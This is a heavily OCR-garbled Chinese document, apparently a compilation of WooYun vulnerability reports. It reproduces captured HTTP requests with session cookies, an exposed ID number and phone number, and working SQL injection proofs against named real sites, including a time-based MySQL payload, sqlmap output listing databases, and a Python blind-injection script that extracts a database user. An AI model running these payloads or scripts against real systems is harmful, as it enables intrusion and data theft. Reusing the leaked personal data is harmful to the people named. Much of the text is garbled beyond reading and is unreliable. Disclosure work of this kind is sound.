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GET /forward/forward. json?jsoncallback=j0ueryl10107773618303757161_1430405784487kreciplents=qiyeal002%40126. comktitle=%EFKEC! E7HAEREOKE GHODRASKESH BTHAL
%EG%SB%SB%E5%SB%BE%EF%BC%SG%EG%BS%SB%ES%AF%GS%EF%BC%BA%ES%BS%BS%ES%BD%AC%M%BA%9l&cuntsnt %E4%BB%A5%E4%BS%SB%EG%BS%AF%E5%BA%94%E8%81%9S%EZ%SO%GC%EG%BS%SB%ES%AF

7 BHS0%E 91%ESKB THB2%E6HOF! F¥BCHBCHE EB%AF %S A%E AKBCKBOKERE 8% B0KE 45E 8K EBRESHE0% B2+HEEHEE
SHESHATHEIRESH 0838 HE IHE0% B2 EFHBCYBCHEE: ul%Ed BE%ACKESHBO%BE%E 6% 8% 92HE 9% ODBAZHE F%BS%EF BCY%ECHESSB0%AZKESHBORAZKEFKBC
%B81&del iver]d=53259230kresubnd tToken=640483a256de48achie 780680274298 _=1430405784402 HITP/1. 1
Host: hr.lagow com I
Cormection: keep-alive

Accept: */¥

User-Agent: Mozilla/5.0 (indows NT 6.3; WOWG4) AppleWebKit/537.36 (KHTNL, like Gecko) Chrome/42.0.2311.135 Safari/537.36

Referer: http://wvm. lagou. com/corpResume/resumeView. html 7deliver]d=8259230

Accept-Fncoding: gzip, dgflate, sdch

Accept-Language: zh—ClN, zh;q=0.8

Cookie: user_trace_token=. 20150430221857 dcBb7561badl4f 88981 31£8666a701; LGUID=201504302210900-d8e57b08-ef43-11e4-86aa-5264005c3644; fromsite=mail. 126. com;
pgv_pvi=8521384960; _gat=l, JSESSIONID=CBEBS817378IFAB213B4ATL339957E2A; shareScorelhum=0; _ga=GAL 3. 928813739, 1430403539, _ga=GAL. 2. 928813739, 1430403539,
LGSID=20150430221900-d8e578bb-ef43-11e4-86aa-5254005<3644; LGRID=20150430225625-131438b4-2f40-11e4-88aa-52564005¢3644;

Hm_lvt_4233e74dff0asbbd0a3d81c6ecf 756e6=1430405190, 1430405301, 1430405453, 1430405720, Hm_lpvt_4233:74df flaebbd0a3dBlchect T566=1430405785

HITP/1.1 200 OK

Date: Thu, 30 Apr 2015 14:57:04 GMT

Server: nfs

Content-Type: application/ison; charset=UTF-8

Accept-Charset: bigh, bigS-hkscs, euc-jp, euc-kr, gblB8030, gb2312, gbk, ibm-thai, ibm00B58, ibm01140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibm01146,
ibm01147, ibm01148, ibm01149, ibm037, ibml026, ibm1047, ibm273, 1bm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm297, ibm420, ibmd24, ibm437, ibmb00, ibm775, 1bmi50,
ibm352, 1bmE55, ibm857, ibm360, ibmB6l, ibm862, ibmB63, ibm864, ibmB65, ibmB66, ibm368, ibmB869, ibm870, ibmB7l, ibm918, iso-2022-cn, is0-2022-jp, is0-2022-jp-2, iso-
2022-kr, is0-8850-1, is0-8850-13, i50-88509-15, is0-8B850-2, is50-8858-3, 1s50-8859-4, 1s50-8850-5, is50-8850-6, is0-BBBD-7, is0-8850-B, is0-8850-0, jis x0201, jis_x0212-
1990, koiB-r, koiB-u, shift_jis, tis-620, us-ascii, utf-16, utf-16be, utf-161e, utf-32, utf-32be, utf-321le, utf-8, windows-1250, windows-1251, windows-1252, windows—
1283, windows-1254, windows-1255, windows-1256, windows-1257, windows-1258, windows-31j, x-bigb-hkscs-2001, x-bigb-solaris, x-compound text, x—euc-jp-linux, x-euc-tw,
x-gucjp-open, x-ibml006, x-ibml025, x-ibml046, x-ibml087, x-ibml098, x-ibml112, x-ibm1122, x-1kmll23, x-ibml124, x-ibml364, x-ibml381, x-ibml383, x-ibm300, x-ikm33722,
x-1bm737, x-1bmB33, x-ibmB34, x-ibnB56, x-ibmd74, x-1bmd75, x-1bmd21, x-ibm®22, x-ibm930, x-ibmP33, x-ibm935, x-1bm937, x-1bm339, x-ibmP42, x-ibmP4Z2c, x-1bm943, x-
ibm343c, x-ibmO48, x-ibm349, x-ibmd48c, x-ibmO50, ¥-ibmdB4, x-ibmdT0, x-iscii®l, x-is0-2022-cn-cns, x-is50-2022-cn-gb, x-is0-8859-11, x-jis0208, x-jisautodetect, x-—
johab, x-macarabic, x-maccentralsurope, x-maccroatian, x-maccyrillic, x-macdingbat, x-macgreek, x-machebrew, x-maciceland, x-macroman, x-macromania, x-macsymbol, x—
macthal, x-macturkish, x-macukraine, x-ms932_0213, x-ms050-hkscs, x-ms950-hkscs-xp, x-mswin-036, x-pck, x-sjis_0213, x-utf-18le-bom, x-utf-32be-bom, x-utf-321e-bom,
-windows-50220, x-windows-50221, x-windows-874, x-windows-949, x-windows-950, x-windows-iso2022jp

¥-Via: 1.1 vb119:4 (Cdn Cache Server V2.0)

Connection: keep-alive

Content-Length: 101

JOuery110107779618303757161_1430405784487 ({“content”: {"rows”: [1}, "message”: "BEREH”, “state”: 1)
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Host: hr.lagouw com

Cormection: keep-alive

Accept: */¥

User-Agent: Mozilla/5.0 (indows NT 6.3; WOWG4) AppleWebKit/537.36 (KHTNL, like Gecko) Chrome/42.0.2311.135 Safari/537.36

Referer: http://www. lagou. com/corpResume/resumeView. html 7deliver]d=8259230

Accept-Fncoding: gzip, deflate, sdch

Accept-Language: zh—ClN, zh;q=0.8

Conkie: user_trace_token=20150430221857-dcBb7561hard04f c830e8131£8666a701; LOITD=20150430221900-d8e57b08-ef 43-11e4-26aa-5254005c3644; fromsite=mail. 126. com;
pgv_pvi=8521384960; _gat=l, JSESSIONID=CBEBS817378IFAB213B4ATL339957E2A; shareScorelhum=0; _ga=GAL 3. 928813739, 1430403539, _ga=GAL. 2. 928813739, 1430403539,
LGSID=20150430221900-d8e578bb-ef43-11e4-86aa-5254005<3644; LGRID=20150430225625-131438b4-2f40-11e4-88aa-52564005¢3644;
Hm_lvt_4233e74dff0ae5bd0a3d81chccf 75626=1430405190, 1430405301 1430405453, 1430405720, Hm_lpvt_4233974dffUaEdeUanglcﬁccf75696=1430405785

HITP/1.1 200 OK

Date: Thu, 30 Apr 2015 14:58:16 GNT

Server: nfs

Content-Type: application/json; charset=UTF-3

Accept-Charset: bigh, bigb-hkscs, euc-jp, euc-kr, gbl8030, gb2312, gbk, ibm-thai, ibm00B58, ibm01140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibmD1146,
ibm01147, ibm01148, ibm01149, ibm037, ibml026, ibml047, ibm273, 1bm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm297, ibmd20, ibmd24, ibm437, ibmb00, ibm775, ibmB50,
ibm852, ibm#E5, ibmB5T7, ibmB&0, ibmBEl, ibmB62, ibmB&3, ibmB64, ibmBE5, ibmB&G, ibmBES, ibmBED, ibmB70, ibmBY1, ibmO18, is0-2022-cn, is0-2022-jp, is0-2022-jp-2, iso-
2022-kr, is0-8859-1, is0-B859-13, is0-8859-15, is0-8859-2, is0-8B859-3, 1s50-8859-4, 1s50-8859-5, is50-8859-6, 1s50-B859-7, is0-8859-8, is0-8859-9, jis x0201, jis_x0212-
1990, koiB-r, koiB-u, shift_jis, tis-620, us-ascii, utf-16, utf-16be, utf-16le, utf-32, utf-32be, utf-321e, utf-8, windows-1250, windows-1251, windows-1252, windows-—
1253, windows-1254, windows-1255, windows-1256, windows-1257, windows-1258, windows-31j, x-bigh-hkscs-2001, x-bigh-solaris, z-compound_text, x-euc-jp-linux, x-euc-tw,
x-eucjp-open, x~ibml006, x-ibml025, x-1bml046, x-ibml097, x-1bml098, x-ibmlll2, x-ibmll2Z, x-ibmll23, x-ibmll24, x-ibml364, x-ibml381, x-ikml383, x-1bm300, x-1bm3372Z,
x-ibm737, x-ibmB33, x-ibmB34, x-ibmBE6, x-ibm874, x-ibm875, x-ibmd21, x-ibm022, x-ibmO30, x-ibmO33, x-ibmd35, x-ibm937, x-ibmO39, x-ibmB42, x-ibmDB4Zc, x-ibmD43, x-
ibm943c, x-ibm@48, x-ibm249, x-ibmI49c, x-ibmI50, x-ibmI64, x-1bmdT0, x-iscii®l, x-1s0-2022-cn-cns, x-is50-2022-cn-gb, x-iso-8859-11, x-jis0208, xz-jisautodetect, x—
johab, z-macarabic, x-maccentralesurope, x-maccroatian, x-maccyrillic, x-macdingbat, x-macgreek, x-machebrew, x-maciceland, x-macroman, x-macromania, x-macsymbol, x-
macthai, x-macturkish, x-macukraine, x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs-xp, x-mswin-936, x-pck, x-sjis_0213, x-utf-16le-kom, x-utf-32be-bom, x-utf-321e-bom,
x-windows-50220, x-windows-50221, x-windows-874, x-windows-949, x-windows-950, x-windows-isol0ZZjp

¥-Via: 1.1 yb118:4 (Cdn Cache Server VZ.0)

Connection: keep-alive

Content-Length: 101

iOuery110107779618303757161_1430405784487 ({“content”: {“rows”: [1], “nessaze” : "BRIERRTN”, “state”:1))

WWW%%)‘gyJUII'\ é? %

LHRFEHE BT 2 B HRT



=& - ERE for: ——
& i BSE (O me |28 mes | s9m | 52 || x| Yiv (3
irteE (1) FE—ERREAGTLESR! - SLFE-> BRI
N simesis

O Bhesis
5, BE A KRk SIEHEE (GiE 13 | TIREH 13 )

a2 Bl sl SEHASE

=REE U= s nTEEE (ERRERS ) B IR
s
TTIRIESE (D)
> ERANEE
e N
EBFEP
pre-2. 0]
EsE

L= mam e (EhkRaia ) M RiE=

HpFEAB ()

BEHRRR

%=

s ZKSEE

ei%‘iﬁas?ﬁ
WWWwW.wooyun.org

S BRBRATI BB

E BiflE R SEhb (EmEA.-.. x

dwE | ESE [« Es [ msss] sz ee [z [ sen [ em =52 ] CEP (e 0 @
i
HI /“-I £ RS
S www.lagou.com
© S
2, R A qiyea0002, {rF!
=r=E
- ELT BRI SR . FiEER, B —T . BadiE, BITEsimat, #ha!
TR (1) Y _
> Efm2THE RS
b HANE | B A | 4TI 1R
—— ERbpRE: A8 LS ET =R
“ BRETF: BEMETRF &%
S Hartts: FESEE, THREH
PSS

ChIRERRE, EERERMETERAKITR: 652177

WA (T
. gﬁanaﬁﬁé = b4 1

» ZHREEE

SFaE
() rmhmhooyun.ofg

T



== BT RZFAe = TIRHELE G (=hkA.. __

& BSE [«gm|[as [ mses | | wz]. || o

HEIEEREEEEE

Qi S (3
RE o FE—AREEAWNTEESS ! 35> ENC

M STHEREH
O ek ]:ﬂﬂ ST EFRENES
8, BEE A www.lagou .com
=igE
EEE qiyeal0n02, {RiF!
> HfpatieE ls ) ) . ) X
- DA TR A . BEER, BT . <ERAE, RITARHET, W)
ERFEIL
- IFEOER
F | I | TR | s
HEE S (s el
RS (i) hiFENERS, BESEGIRER RIS 183338

o AR AR TR
. ZHEEE

» FFATRERE

|".i‘\|
Fiiiiiing =
E‘Mﬁ.wooyun.oﬁ’g
0 I A S AL NET ek 2 R A L

R AT

——— e

SNBBFRAYSAEERIERS , ERE FRAVEM

483338

L —— . Www.wooyun.org



NESER - BEAIEER 2015-04-26 19-31

L
B 21%
Fl MR - W Lifg

BT
o 2-34F ShRRERRR/ I g & WA T g R IR s
o fh: FARABCA. G FEEE AT, BRI AL, JE R AT
Ml 758
RO P EDEE R E W E AR A A, R,
il RS 2 AT Ui 2014.06-2015.02
o SR IEE AR (M), %838 5 {6 4 (20+; Benchmark). Tl 7 Il /44 (RS / IR /el /342 TOkah )
o Rk IR (T E B A (R 0 E e, IMC). B3 AR 2SI (R I, Ml FHER, Inde s, AR . 03 S

R i (95%)
. Jﬁ/ﬁiﬁﬁﬁf?%ﬁ (rﬁ;}‘.ﬂﬂ? ! Fﬁbfzjﬁﬁl\ / fﬂ;éﬁ*ﬁ%), ftftj%éﬁfﬁ%(&% fl_ilum L4 AR ) P AbEE) .

e A BL B (57 BT TS0 il 2 i ok LTI P LR 1T = B LT s il AL AT LA

12 5 % FER qiyea002@126.com [ | OE_WE@ = | 2@
www.126.com
=a B ReFAr =" =izl ( EfkA.. *
& iE EBSiE l<<)‘£l§l“l§l§|l§l§i€ﬂl v|:szi‘ NEET EE|EE|ﬁﬁEhv|%ﬂ%v|Esv
s & [ : 20155045308 23:01 (SHE0T) Qo )
N TagaRis W FE—EREEAWITSSSR! 2L
O S0
5 B A HIIE.I LR S
= [ www.lagou.com
B
s BT qiyea0002, F4F!
e AT 0. RO, ST . <2358, RIPFE, W
BRI
SR MEB AR R
i TRE | AR | TS, | 1

EelbpRee : AR TORAFER
SIETE: A5EE  Z6W
HEE: BEmREBN, THER M

“hiFiEERT e, EERERMTERANITR: 149239 F)

B BRI ww.wooyun.q@g

BRKATTA:



EERETIERSREEANERCEETRS , EEEASWEHIEnER
AFIER |, R EEE eS| SREE =T TIFARSEIETIE.

=HE  THRRAIUSERTSEEA | B, ST LATEEEERi T
TR |, S eI AR S R SN,

TBREA EF

CEREEEE 1andluden

*ERFEAME  hr@lashou.com

FAEE

FHL, BRFEHR T

2015-04-26 19:31

et
N 2FEEER  FITE , BEAT , MEER , WMIOLRE

BEEE - =FW =5 3ETIEES M

134 d 4% 84 304168174@qq.com

TIFE

%E@ 2014.07 — 2015.03

B B3RAE, WG BRI .



EEiER] 1

WA, 304168174@qq.com

CEE NERBEEEAERAT  EEEEEREA
* EATIE
ENEER

CERERA
* BRI

HrErE

2 B ORISR, PRI S B SsEh.
BEH LA & -

12 ZERE qiyea0002@126.com v [l | DBE | Tk | BSESS | 85 | 2@

www.126.com

=0 BE R Lodis o) ( EFES... (&EifkA... x

& BSE [«ss|[as e ez 88 ][=6 ] son | eam [ 58 | \(— -)/,\%}

YR @) | www.|agou.com
N TiEEsi
O e qiyea0002, {F4F!
3, EZ A I
= AT BB M s FEEER, BTG —T . +amais, HiTsHmE, $ha!
Egs
> Efb3ATisE TEMEH
. Ttk |6t | BELIFGE | s
e Bl BiL - EEAE
RIETE: BEfhRIEEE (HEREEHE) - UDGHE 8 ERmEiT&H
e Bartss: HESIEEE, B35 SR s
HifHEE

ChHFRIEET e, EEREERIERARI: 039414

EI A d { _E“
ey

(®
.wooyun.oeg

FIHAOU 0 20, A0 RT el 02 Y R



NESERY - TERE € 2015-04-26 19:31

WLV

Wi, T MR & F8: 3 B 16 KB o P L BUREH: F2E8
BEAREE: 1379

HEER
3 £S5 F5| Eliaday| ES 33 FBRE

. - . EREEVEEE. EEZE
| mEnees | mpEEAR 09- EEEE |, . ‘ :
ZF | AEHEEE SHEEEE | 2000.09-2004.07 EEE EEaErgeEsEE

ERxE54 AHEBFEEWSI. BWER
mt gERE ;rg;*;——[sﬁ 2005.09-2008.07 FHEE | HE. BRSNS 5T
R = SREEFHEEFS

EEiEA 1 [=t=scnan

KA. 1010503001@4qg.com

TEE  eEnRSREEROT  EELERE
* ENATIE
BEprize 2
T ERHEA
TERRA
T BERAIE

HFEAE




EEiEA 1 [=t=scnan

KA. 1010503001@4qg.com

TEE  eEnRSREEROT  EELERE
* ENATIE
BEprize 2
T ERHEA
TERRA
T BERAIE

HIERE

NGy

O BAXBHERGIESD ?

NG , ERSBmREr S BRI ERFkE

st E5ER

IERF|WERER |, BESEEEE |, N ARS RS
AKILES , TEHEAEEMER.

EEEFE—=REEsEnEr , ERERELE , fFRR
BOEEEHAR !

FAAEER , FEEATRERE

AEE ilhE




126 5% HER qiyead002@126.com + [ | DBE

www.126.com

i BEBRE | AT kUEE | (E.- (i&... (...

hlE | ESE (s |[e= w2 e[ 8 [ 2 wen e 2] CEP ([
MR Y www.lagou.com
N T
O Bt qiyea0002, {F4F!
5 B A
=== L AT BB M s FEEER, BTG —T . +amais, HiTsHmE, $ha!
Bz ]
> BT MR D
- ok | AR | SET(EE | B
e Bl R EIIERR
) BIET{E: £iE5EE. EAEFEE - FERMERAEREH A
TR Blarlizs: BENCER, TR
e =

RS (o hRBERS, SEREERAERAGIES: s07a7s
PREAIM ()
- Soivige HETRRD

Friiiiiin] ®
WOOYyun.okg

FIA O AT, B R i A R S R A

SKEM

HEIZAPP , B—ERNFHEE AR , RIATER

SESE SREreE FR AETEES SN
13 3 AR 347408332@qqg.com
K (=Z357]

FEBNEENTIRES AT 2013.07 — &




EEiER] 1

i A, 347408332@gq.com /

TEE EEEEETEEERAT | ERECEEEARD

* EEATIE v
oliEElR v
CERERA

* BRI

HrErE

AE i

EEHEE 1

MRCETE RS EEFRRERER , AlbigEhy o=hrmEE S8R
HEEME , WoE  EhesHEACEHERE | FaEST RN

s
* AT 2015-05-02 08:40
TEBREA

"EBREAE

i pydbg XM T B Al L @ P, bR RR- - A3 1E ST B IR
Il A,

2.3 V2% TeE 5l
2.3.1 &SFHEER



IEAB BB 7B, AN AE SO T PICBCE SR i ot (9 e 007 B 8 SO S U A <
I, A AR LMEUS 1SR 72 ol 55 .

Zl: 12308 1T 5 SZAT I IR A BRAIE Il G A 25 TR
TESCAT B PSSO B s A

FESOATI T LMBSOT Ha A, 1 8 S A BRI, R FE AT I m — 2 (H R B 31 5C
RN OB RE2TIN, B8] AT,

8 12:082EEEEmT - 8] P8 LaoszE EEER Ad]l=
< > C ID www.12308.com/train/ngetTrainlist.sc?startCityName=%25E6%2597%25A0%25E9%2594%25A1 &endCityName=%25E5%2590%258E%25E5%25A1%258 D& =
q 0530 AE 0531 mE| 0601 BR 0602 06-03 06-04 06-05 06-06 > - PIEUREER RIS -
ER AR = EE EE K ez el  ERHER AN ELh?
B¥mfiE: ¥ -F(06:00~12:00 ¥ T2F(12:00~18:00 ) iz |- (18:00~24:00 BHRARS Y » HRETLERLAE
e [ £ ) Bk 3
’ ’ HE L
HoEmiE + R FEs FRFER =i« =i F1ig
07:05 B amac 5 M08 o AT
K 3809 =
67.0km Y= weoo19 ¥21 e > O ERA 12
E2ig
08:55 B s *E— =
67.0km [EI3= 1 WB0022 ¥21 =1 > AAEET SR
> AfARIE TiTE
10:50 = s HE— . - 4
67.0km =192 WB0020 ¥21 = AR
A RRET
12:35 £ F A FE—
67.0km ) R WB0023 ¥21 E
14:30 B wimd B
67.0km 3= WB0021 ¥21 E
16:45 B Figsncd B
67.0km =19=" WB0024 ¥21 =
=T12308 BHRHEN FRSHE WA Rhia@ FEEEER S L2ESFTEERS
© 2014 12308.com JHHTH  BICPE140208278-1 #* @ #* @ www.wooyun.org
8 123082 ELEEERGT 8] P '8 12:082E EEERT Ad-]a
< > C ID www.12308.com/order/fillorder.sc?fullPrice =21&endStationName=/5B&vehicleTypeName =2 S—8&scheduleCode=WB00198&scheduleld=19C240B4A7C62 =
- |
2) BRATREE 3, FRThIRETE
RTHE - BB remizmEs
H/ER kST i g =i e S
o gizﬁ 20150531 07:05 67 ¥21 1+ ¥21.00
=
e IN
ERREN
R
|1 JRE-HECH & CUEFSE: | BHNE v | 13072719840805463X & FHISE: 13700019201 Q&  BHEEREADEA
@ kERERREE (FEEE 20 B
| esmmmmAEs
EEREE . AR T (RO SIS R 2T ) BILRENE
E=E S0 | B 13072719840805463X @ FNSH: 13700019201 [~]
| z=msmies
1. 12308EM{RERN T ETAH MBI HE- Www.wooyun.org
AR — i B RS I T R EERS . 0 SEFen 2|, e hd
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#| Request 1o nitp:pay. 12308.com:80 [2236.251.196]

[ rowas J[  bep | [ Intercept is on ] [ acin |

Raw | Params | Headers

POST /aliPay. htm HITP/1. 1
Host: pay. 12308. com
Pro; ¢ keep-alive

LG

: max-age-0
Accept: text/himl,application/xhimltxal, application/xnl;q=0.9, image/webp, #/4;

a=0.8

ows NT 6. 1; WOWG4) ApplcWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/
application/x—www-forn-urlene

tp://pay. 12308. con/ toPay. htnfordorXa-0215123081609585
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2.3.4  AH js SEBER

TR N HFEFEIE Javascript ACERAH FERAZHIE K, HIEE Javasceript A, &0k
S OB 2 75 52 2 FH P

2.4 VAL N=p

2.4.1 AWK

a. TINEA
L EZH AN — ARG 5 77, 5lRBATEWIERPEEER, BRRS SRR,
T IR 55 2 B R 2R BB R . MR PR A PR SR A sql Y ENTEH).
Fn— get JFE0AT url[ http://www. xxx. com/abe. asp?p=YY ]
B p BISEUE http://www. xxx. com/abc. asp?p=YY and user>0 , HtA]PLHIWZ T2
SQL-SERVER, 111y 34 T LATS 31 24 By 3 42 2K B L 44
http://www. xxx. com/abc. asp?p=YY&n -+ db name () >0 XA LLEI W 275 /& SQL-SERVER,
T Al DA 21 w7 IE7E A s 4 .

2. 51, KRR web RS54 M) 1 #ER 012
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K B LR #7248 SQL 3N : QEASH 1init, limit FREIEE

http://ft. 10jgka. com. cn/thsft/iFindService/Cel1Phone/i-strategy/list-data?class
ify=1&flag=fancy&limit=3&order=1&page=1&sort=totalrate&type=0&version=1. 1. 23.1

Payload: (ZER} 7 #0)
http://ft. 10jgka. com. cn/thsft/iFindService/Cell1Phone/i-strategy/list-data?class

ify=1&flag=fancy&limit=1/%%/procedure/*%/analyse (extractvalue (1, benchmark (25000
000, md5(111))), 1) +——+-&order=1&page=1&sort=totalrate&type=0&version=1. 1. 23. 1

L 4 ErEdE EH 7, ROOT




Vébrébpiiéafionvfeéﬁnology: Abaéhé 2;2.11
back- end DBMS: MySQL >= 5.0.0

urrent user:

urrent user is DB

shutting down at 21:22:52

2. pra R, It A

available databases [11]:
[*] “group’

[*] brokerage

[*] circle

[*] information_schema
[*] interact

[*] mysql

[*] performance_schema
[*] snhs

[ *] sns_admin

[*] test

[*] trace

shutting down at 21:31:13

a.bSql B

EH]: 263 BEH APP —4b SQL B (PHIGIERIA)

263 M52 3.0
http://www. 263. net/263/download/



590 MBS 3.0 PILEEN 2.0

4T, SH, REAEE  TEEPPT , AERBACAS | Stwsniitzasas. BRI, SEHFTE

04/2

Www.wooyun.org

TEAPP, TPRIEAZThRE, M-

POST http://cc. 263. net/rest/netmeeting/quickLoginNet HTTP/1. 1
Content-Type: application/json:charset=UTF-8

Content—Length: 65

Host: cc. 263. net

Connection: Keep—Alive

{"pCode” : ”46867588”, “username”:“1isi”, “clientType”: 10}

AN pCode
bool HiE.
false:



= JSON
i cientType=10

i username =lisi

- pCode=46867588' or 'a'=b

'or'a'=b

[ Expand All 1 r Collapse

’ JSON parsing completed.

Get SyntaxView | Trans
Caching [ Cookies | Raw

I Headers l TextView | ImageView ] HexView

[son | xm |

= JSON
i errorCode=90002

true:

- msg=S TS, EEIH -

WWW.WOooyun.org



' ©-JSO0N
i clientType=10
i pCode=46867588" or 'a'="a

- username =lisi
or a=a
Expand All Collapse JSON parsing completed.
Get SyntaxView Transformer Headers TextView ImageView HexView WebView
Caching Cookies Raw JSON XML
= JSON

i errorCode=80007

- msg=ifARIE S BEhE kM

WWW.WOO0Yyun.org

Wl R

BOSSAPP@192. 168. 99. 67

in progress] BOSSAPPE192. . . .
;n progress] BOSSAPPE192.1 . . .
i; ;r;g;e;si BOSSAPPR192.16 . .
;n-p;oérés;]-BéséRPP9192.168 R 3

in progress] BOSSAPPE192.168. .

in progress] BOSSAPPE192.168.9 .

in progress] BOSSAPPE192.168.99

in progress] BOSSAPPE192.168.99.
in progress] BOSSAPPR192.168.992.6
in progress] BOSSAPPR192.168.99.67

Donel db user is BOSSAPPE192.168.992.67




py thon 4 iE A :

headers = {’ Content-Type’ : ’application/json;charset=UTF-8 }
payloads = ~ABCDEFGHI JKLMNOPQRSTYVWXYZ0123456789@ .’
print ’ [%s] Start to retrive db User:’ % time.strftime C %H:%M:%S
time. localtime ())
user =’
isEnd=False
for i in range(l, 36):
if isEnd:
break
isEnd=True
for payload in payloads:
url="/rest/netmeeting/quickLoginNet’
start time=time. time ()
data=" {"pCode”:”46867588\  or
MID (user (), +str(i)+, 1)=\""+payload+ ”, “username”:”1isi”, “clientType”:10}’
conn = httplib. HTTPConnection(’ cc. 263.net’, timeout=60)
conn. request (method="POST , url=url, body=data, headers=headers)
html doc = conn. getresponse (). read()
conn. close ()
print .,
if (html_doc. find (" 80007 )>0) :
isEnd=False
user += payload
print '\nlin progress]’, user,
break
time. sleep(0.1)
print ' \n[Done] db user is %s’ % user
time. sleep(20)

a. c PhEHAS db2 MR E
FH: FARAT Euh fhigaS DB2 /R BT
AWML H I TR thanks
http://*%. %%, %k, %k/bugs/wooyun—-2016-0211479/trace/8722c6d1776df3a473e61e3dcd4cl

2f9
http://*%. %k sk, %k/Site/Home/CN



Go Caneel <|v >|v Target: http:www.dzbehina.com lﬁ ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTWML | Rencer
GET /Sate/Home/CIV +AND+H1=1+AND+ 1°="1 HITF/1.1 A HTTP/1.1 200 0K
Host: ww. dzbchina. con I Date: Sun, 22 May 2016 02:41:19 GNT
User-Agent: Mozilla/5.0 (Windows NT 5.1; rvi46.0) Gecko/20100101 Server: IBN_HTTP_ Server
Firefox/16.0 Conmection: close
Accept: text/htnl, application/xhtml+xml, application/xnl;q=0.9, */#*;¢=0.8 Content-Type: text/html; charset=GBK
Accept-Language: zhCIl, zh;g=0.8, en-US;q=0. 5, en; g=0. 3 Content-Language: zh-CIf
Accept-Encoding: gzip, deflate Content-Length: 30059
Cookie: JSESSIONID=0000w_D-sKIADWPSphN1zVPvo2]:~1
Comnection: close
<!DOCTYPE html PUBLIC “=//W3C//DTD XHIML 1.0 Transitional//EN”
“nttp: //www. w3. org /TR/xhtml1/DTD /xhtml1-transitional. dtd >
<htnl xnlns="http: /fwww. w3, ore /1909 frhitnl ">
<head>
<meta http-equiv="Content-Type” content="text/htnl; charset=GBK" />
Cratle PEMHMT /ritle>
“link href="/static/Home Cl/style/style.css” zel="stylesheet™ type= text/ess™ />
<link href="/static/Home_CN/style/index.css” rel="stylesheet” type="text/ess® />
{script sre="/static/Home CN/js/index. js” type="text/javascript”></script’
<seript language=" javascript’ type="text/javascript”
function redirect() {
var _select = document.getElementByTd("select™) ;
if (_select. value == "#") {
return;
Yelsed
> window. open(_select. value) ; q
T )
L2 =] ] [mwee zoearcttem 0 matches L2l ] (2] [mweezsearchtem WWW.WOOYUN.oFg=
Go Caniel < |[v > v Target: http:fwww.dzbchina.com LIJ ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /Site/Home/CIV +AND+1=2+AND* 1'= L HITP/L.1 4 HTIP/1.1 500 Internal Sexver Erzor [
Host: www. dzbchina, com r Date: Sun, 22 May 2016 02:41:47 GNT r
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:46.0) Gecko/20100101 Server: IBM_HTTP_Server
Firefox/46.0 SWSEP:
Accept: text/html, application/xhtnltxnl, application/zml; g=0. 8, */*;¢=0.8 Content-Length: 95
Accept-Language: zh~Cl, zh:g=0.8, en-US; 0. 5, en:q=0. 3 Connection: close
Accept-Encoding: gzip, deflate Content-Type: text/htnl;charset=GB2512
Cookie: JSESSIONID=0000w_D-sKIADvPSphM1zVPvo2]:-1 Content-Language: zh-Cl

Connectien: close|
Error 500: no mapping found for prefix: &¥39;/Home/CN&#39; AND 1=2 AND &IF39;1&#39;=&H39;1&#39;

v
2 ) () 5] [rwes searomiom omaores (2] (<] [+ ] (=) [roee asommcntonn wooyu et

Done 305bytes | 3,172 nills

| = & sg- %58 Encryptien Bncoding Other-

L | http:/fwww. drbehina. con//Site/Home/CH S20ANDS20Length (systen_user) XTHOANDNT 1°=' 1

L

[] Enable Post data [ ] Enable Referrer

i uu ﬁ w @!‘E‘Eﬁ? BREG REE

4 Burp Suite Professional vl.6.38 — licensed to Larcy Lau

1eFsAezH BEAR

WEFEA | AR | CRREE

Burp Intruder Repeater VWindow Help

Target | Proey | Spider | Scanner | Intruder RapeaterTSaquaru:er Decoder CnmpararTEXtEndEr Options | Alerts

1% |2 =

Go Cancel < v >|v Target: http:iwww.dzbchina.com M

)
O

Request Response h
Rave | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

GET /51te/Home/CN %20AND%201eng th(systen_user) »Th20AND%20° 1= 1 HITP/1.1 4 HITP/L.1 200 OK &

Host: www. dzbchina. com r Date: Sun, 22 May 2016 03:16:57 GNT r

User—Agent: Mozilla/5.0 (Windows NT 5.1; rvi48.0) Gecko/20100101 Firefox/16.0 Server: IBN_HTIP_Server

Accept: text/htnl, application/shtnl+xnl, application/xnl;g=0.9,%/*; q=0.5 Connection: close i

Accept-Language: zh—CN, zh; q=0. 8, en-US; q=0. 5, en; q=0. 3 Content-Type: text/htnl; charset=GBE

Accept-Encoding: gzip, deflate Content-Language: zh~CN

Cockie: JSESSIONID=0000w_D-sKIADvPSphMizVPvo2]:=1 Content-Length: 30059

Comnection: close

<!DOCTYPE htnl PUBLIC ”f//wc//umWfWDoyun‘ p
~1 Ffew”

thina. conee



gl [ SRR @ HF L | €A B S
v| = & SQl- %55+ Encryptiens Encodingr Dthers
ad URL | http://wws. drbchina. con//Site,

ome/CN' S20RNDR20] ength (zysten_uzer ) STX20ANDY20’ 1" =" |

plit UEL

[] Ensble Post date [ ] Enable Referrer

&/ BIRTT

DEZHOU BANK D IR(T {RIKIE#E

1eFs Azl EHAR

WHER | WRET | mAE | =REE

EEX

Target | Frovy | Spider | Scanner | Intruder RepeatevTSequer\cer Decoder | Comparer | Extender | Options | Alerts
1 % %

Go Cancel <|v > Target: http:iwww.dzbchina.com wlzj

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /5ite/Home/CH %20AND%201eng th (systen_user) JSH20AND%20° 1" ="1 HTTF/1. 1 4 HITP/1.1 500 Internal Server Error Iy
Host: www. dzbchina. com r Date: Sun, 22 Nay 2016 03:17:19 GNT r
Usex-Agent: Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/16.0 Server: IBN_HTIP_Server
Accept: text/htnl, application/zhtml*xnl, application/xnl; q=0.9,%/%;q=0. 8 $WSEP:
Accept-Language: zh~CHN, zh;q=0.8, en-US; 070, 5, en;q=0. 3 Content-Length: 124
Accept-Encoding: gzip, deflate Comnection: close
